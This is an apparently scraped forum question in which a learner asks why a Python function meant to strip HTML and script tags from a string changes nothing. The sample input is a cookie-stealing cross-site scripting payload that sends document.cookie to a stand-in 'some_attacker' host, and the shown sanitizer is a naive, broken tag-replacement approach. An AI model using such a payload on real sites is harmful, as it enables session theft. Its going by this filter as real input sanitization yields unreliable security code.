I am trying to replace some key words in a string. Here is my function:
def clean_code(input):
input.replace('<script>', " ")
input.replace('</script>', " ")
input.replace('<a href>', " ")
input.replace('</a>', " ")
input.replace('>', ">")
input.replace('>', "<")
return input
and here is my other code and the string:
string1 = "This blog is STUPID! >
"
"<script>document.location='http://some_attacker/cookie.cgi?"
" +document.cookie </script>"
print '
string1 cleaned of code'
print '------------------------'
print clean_code(string1)
My output is as follows, and I'm not sure why nothing has changed
string1 cleaned of code
------------------------
This blog is STUPID! >
<script>document.location='http://some_attacker/cookie.cgi? +document.cookie </script>
See Question&Answers more detail:
os 与恶龙缠斗过久,自身亦成为恶龙;凝视深渊过久,深渊将回以凝视…